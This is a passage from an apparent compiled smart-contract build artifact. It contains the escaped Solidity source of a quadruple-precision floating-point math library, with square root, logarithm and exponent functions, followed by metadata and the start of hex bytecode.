0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 32;\\n result += 32;\\n }\\n if (x >= 0x10000) {\\n x >>= 16;\\n result += 16;\\n }\\n if (x >= 0x100) {\\n x >>= 8;\\n result += 8;\\n }\\n if (x >= 0x10) {\\n x >>= 4;\\n result += 4;\\n }\\n if (x >= 0x4) {\\n x >>= 2;\\n result += 2;\\n }\\n if (x >= 0x2) result += 1; // No need to shift x anymore\\n\\n return result;\\n }\\n }\\n}\\n\",\"keccak256\":\"0xf1ea6500a79e267f34706407d32ece0cfb98b500920d77f43d535ea267b1fbb4\",\"license\":\"BSD-4-Clause\"}},\"version\":1}", - "bytecode": "0x608060405234801561001057600080fd5b50611187806100206000396000f3fe608060405234801561001057600080fd5b50600436106100675760003560e01c8063794e955c11610050578063794e955c146100a4578063cd324209146100b7578063d58d45a8146100ca57610067565b8063163380b31461006c5780635b374a4014610091575b600080fd5b61007f61007a36600461114f565b6100dd565b60405190815260200160405180910390f35b61007f61009f36600461114f565b61014a565b61007f6100b236600461112e565b610205565b61007f6100c536600461114f565b6102df565b61007f6100d836600461114f565b610357565b6000806100e98561039a565b905060006100f68561039a565b905060006101038561039a565b905061013f610130826101206001600160801b0319871686610400565b6001600160801b0319169061072a565b6001600160801b0319166109a1565b979650505050505050565b60008061015e670de0b6b3a764000061039a565b9050600061016b8561039a565b9050600061019961018a836101206001600160801b031982168261072a565b6001600160801b031916610a26565b905060006101ba846101aa8861039a565b6001600160801b03191690610400565b905060006101c78961039a565b90506101f8610130826101e8816101206001600160801b031988168961072a565b6001600160801b03191690610c5f565b9998505050505050505050565b6000806102118461039a565b9050600061021e8461039a565b90506000610233670e92596fd629000061039a565b90506000610248670de0b6b3a764000061039a565b9050600061028f61027e6102666001600160801b031985168761106c565b6f7fffffffffffffffffffffffffffffff60801b1690565b6001600160801b0319841690610c5f565b90506102ac610130826101aa6001600160801b031989168761072a565b9550674563918244f400008611806102cb57506702c68af0bb14000086105b156102d4578795505b505050505092915050565b6000806102eb8561039a565b905060006102f8